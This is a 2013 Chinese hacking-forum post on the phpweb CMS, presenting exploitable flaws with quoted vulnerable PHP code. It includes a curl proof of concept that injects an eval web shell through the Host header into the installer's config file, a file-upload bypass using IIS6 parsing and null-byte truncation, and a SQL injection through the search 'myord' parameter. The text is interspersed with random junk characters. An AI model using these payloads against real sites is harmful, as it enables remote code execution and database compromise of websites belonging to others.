找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2427|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:- a. F- ?0 {  U/ X, ]2 z3 v4 R
: |: Q- X7 m; U5 Y
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码  ~- s3 D  O" ^

5 J" ^" \/ O2 ~7 m鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
8 A0 t7 h" @) K! Y& N0 k3 `& W鸡肋2: 有一定安全常识的站长都会删掉 install 目录5 v5 \" E, ~3 g
8 b( ~! S6 s0 x' f% S
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
- {5 Y' Z9 d+ `$ S2 O
4 s9 g6 w8 F* T! {/ v# g8 V* \分析:
, F4 D: J2 O- g8 C% ?
; ^& {" E  K) _& ~9 Y! a" ?% j0 C
& n# @/ V; W; R- x7 Z$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤, U  W6 I+ A. l

1 ?) Q; w# A2 g$ m/ P                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
3 v1 Y( f& O% D4 ^9 h  `8 j5 B                                            $filestr=str_replace(" ","",$filestr);2 g& ~. D& F- c0 ]% D  X* X" o
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
1 h# F6 J7 y: h' M) n                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);' X* B/ W0 s* V5 Z& t
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);' \" c( P" \0 i# {0 e
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);- f' |1 M! L( k1 e- X4 y* h& v
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);& _) b* A! N- L1 [
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
! r: _$ b) G5 _# [5 s                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
! n2 e! m7 w/ a" w! ?/ s
0 a5 N7 A# O7 Q9 q$ J; B4 d                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
4 ^8 x+ y# t! C, [9 B0 G$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^0 F- N3 D& }7 @
& c: U% X* }. @% g! }+ {
poc:
- r8 |9 R, f6 y5 V: ?' @; i+ z& e
4 k* q: j. o( i* }6 {$ t7 s8 I! J?0 ^6 x- _! p& z$ P  u) A! R2 H
1
5 f  ]2 V2 U3 a; @/ z- w/ z0 Scurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
/ s# K2 K& S$ r( \shell地址: /config.inc.php' W6 h5 H! q4 ^! i0 T3 ]
跟之前的 phpcms一样 需要远程数据库
/ q/ `+ `# d6 A# U5 W6 D 7 v5 G. `- j4 ^9 \
——————————————————–
* ]' ~# t& e# C+ T3 ?3 h上传漏洞(需要进后台):0 Q5 x4 w8 f/ C+ Z, O
漏洞文件: /kedit/upload_cgi/upload.php
5 q. H' e) ~' b6 M: d( x这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
$ G4 M/ K. [9 [2 @1 k 2 g, ]  Z8 I4 n( O# @; U

/ l& g6 \6 k3 W3 h: w# ]' o1 t2 J<?php
: @% F% v, p# y: f% G3 X5 j& q    define("ROOTPATH", "../../");( T# H* w6 R3 @  T6 P
    include(ROOTPATH."includes/admin.inc.php");3 T* z: w0 o; w4 o" V+ }1 W6 Z, m) B! n1 c
    NeedAuth(0);4 ?3 V& K2 X/ b2 |% q2 r- S5 m
, Q9 n  x1 K' a) O. d( r2 j
    $dt=date("Ymd",time());
3 |: N8 s8 g0 b5 t8 n% F1 t' |    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
# W1 k1 Z( O/ W  m5 ~  V& e8 [9 `9 h            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
, o% R: J$ }0 B9 p    }& X$ K. b- n4 E- {% ~
3 w6 d& D3 `5 e+ h% C
    //文件保存目录路径3 E4 v4 F7 y3 Y+ s' J
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" E3 k  A; @: M) i1 f. j    echo $save_path;0 M8 Z, b( _) B0 W, E7 V
    //文件保存目录URL
$ a, j) f; Q) M; W    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
/ D8 l0 L4 q( U9 F& ^& n$ ?
5 a5 ]5 N1 V& W; F; j3 r. ~" ^& X    //定义允许上传的文件扩展名
) D2 }* _' x9 {/ X    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
3 {2 X* v$ x% h" t8 W
$ ]( L7 s& m3 A# N' Z7 T    //最大文件大小
% ~4 O' d  q( m5 j" o0 S/ t    $max_size = 1000000;/ n  b$ f7 m+ \. z
" u" _: g1 J* v  g+ q5 v, P3 q
    //更改目录权限& {0 ]5 Z% O. w# x& w! {
    @mkdir($save_path, 0777);
0 S# {1 z! [: f0 A* M( t ) ^; e9 K' j: l0 A7 U  R" b
    //文件的全部路径
! R4 u; E& o% c    $file_path = $save_path.$_POST['fileName'];   //保存文件名% J9 ^8 h4 T1 v: Y$ @$ r4 h3 {1 i

7 F9 X, l, T4 I( p4 a  _    //文件URL
0 [* l/ @6 Z& I+ \; r  ~- b    $file_url = $save_url.$_POST['fileName'];4 X4 O, E  Z. k5 z
//有上传文件时' A! V4 p# \, B/ Q2 h' v
    if (empty($_FILES) === false) {6 w' S/ t" Z. C! T; g% v

/ b! Z1 l! e" o( g' I            //原文件名
" y% P. S8 w( M' W1 `            $file_name = $_FILES['fileData']['name'];0 T: g1 P7 B7 c# f8 I( p5 N
            //服务器上临时文件名# Y' B  C1 ]7 z- Y9 a/ _- j* \9 @+ m
            $tmp_name = $_FILES['fileData']['tmp_name'];
0 R* }2 V% S/ t' O7 V# ^% C% j# J            //文件大小
/ Y) K+ k# \+ O4 q' Q* s            $file_size = $_FILES['fileData']['size'];
& X$ V1 q$ Y+ p0 t            //检查目录
. f( H# s( R" _            if (@is_dir($save_path) === false) {
+ d+ z: U, N0 W3 y: f                    alert("上传目录不存在。");2 Q% t3 S& F7 m: y
            }5 P5 I, a0 h+ y  ^
            //检查目录写权限
; B0 A  B( F! o% r& C            if (@is_writable($save_path) === false) {
- z1 q" w! T. |# d. V/ g2 H                    alert("上传目录没有写权限。");1 R! C. w5 G" _! `* V1 {
            }+ f* w  I  u1 P! [7 y$ U
            //检查是否已上传8 F5 T! L* i. H# T% f. N
            if (@is_uploaded_file($tmp_name) === false) {
0 h; L$ C' m' R7 U' R                    alert("临时文件可能不是上传文件。");9 O. v6 D. m; G5 l% f" Z, C% o
            }+ h+ v' l8 G: d: ^; G
            //检查文件大小4 Q; Y' q: Y: e7 k' V7 P
            if ($file_size > $max_size) {
0 M7 b. m. t! }+ D9 Q                    alert("上传文件大小超过限制。");
2 b1 V7 p/ j+ x* x& t2 `. k8 s            }
7 V5 ~6 N/ `" k6 Q            //获得文件扩展名
3 }* ^$ k! [1 o            $temp_arr = explode(".", $_POST['fileName']);' T/ p( r( M) {8 |" o5 J
            $file_ext = array_pop($temp_arr);3 j8 B4 {* W; D. Q* }  E7 ~3 f5 Z
            $file_ext = trim($file_ext);4 D: E6 i2 W; N( R' W; w
            $file_ext = strtolower($file_ext);0 H/ @* T5 a3 V

& b6 V0 v% v% l$ u/ T            //检查扩展名   ) f3 n4 {2 H2 ~. L! T$ m) i6 S. l
            if (in_array($file_ext, $ext_arr) === false) {     
/ N) ?* C' k' {/ G# W9 _3 f! m                    alert("上传文件扩展名是不允许的扩展名。");) z& W  R4 e. p5 W
            }3 {8 l. @; ~* f+ c
: t, |: [, c, n9 @" M0 a  Q
            //移动文件   ( T1 n; {) g8 O) E# s+ o! p
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
* v( x- Z% ^/ }& u+ N' S  \            if (move_uploaded_file($tmp_name, $file_path) === false) {% y1 b* b& c! A* l4 I
                    alert("上传文件失败。");
; M9 B& c$ W) @6 Q: f1 C$ H; M            }
9 E$ j4 F+ V  D& A 3 o( ~* F0 x! @8 u6 g/ Z
            @chmod($file_path,0666);) a9 P' _3 h6 v8 q& H* U+ e

1 h& s& t6 T. V    ?>$ K! k1 Z+ S, z) h& H) o3 G" H0 \
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
. l! c# [- I8 H* z6 u! {3 ` 8 a% Z. A  y9 S& F
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过! Y: ^) G$ W3 T) o) l' M$ y, e. t  R
0 C# {7 i! t$ {) M9 l; g  a
——————————————————' J/ s2 v, m6 c& V  b
注入漏洞:7 O! X  z! \5 ]- I0 G  P" r
漏洞文件:search/module/search.php
2 s! A- g* s7 L% s0 v; c4 b/search/index.php?key=1&myord=1 [sqlinjection]
6 |) i  n9 N0 I3 C! b0 b " [1 B1 v' m5 }# _
* w+ s6 A) s( @9 Z5 O+ q7 m$ T
<?php
1 B2 h7 G* z' M   //       ... 省略 n 行...
6 p6 z; X# H( L! b   //第18行:
  ^) @4 c/ D1 R4 y           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
' t( k5 F% r7 B" ^           $page=htmlspecialchars($_GET["page"]);; L, k) b2 K9 `6 _2 H! ~
           $myord=htmlspecialchars($_GET["myord"]);
+ P7 T: Q4 Y( q' e& |5 k
  e/ q1 U2 L$ ~% A6 f( v   //       ... 省略 n 行...
8 N* [; {! \& q2 Z   $key,$myord 两个参数带入查询
8 `- @% C  v& ~   //第47行 $key:* O  w5 w8 t- g' r4 ~

/ d" O- a/ \  U   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
* [+ ]; u. q# m" _& l: S% x7 L 4 r0 `* Z1 M8 A% i8 |1 j& l
   //第197行 $myord( ?; r3 I+ q* k2 |0 K
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
' I9 A; m: E3 W% n$ K
0 t* o4 A0 |7 ]% ]   ?>
7 D4 y. a0 v# A" n% ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表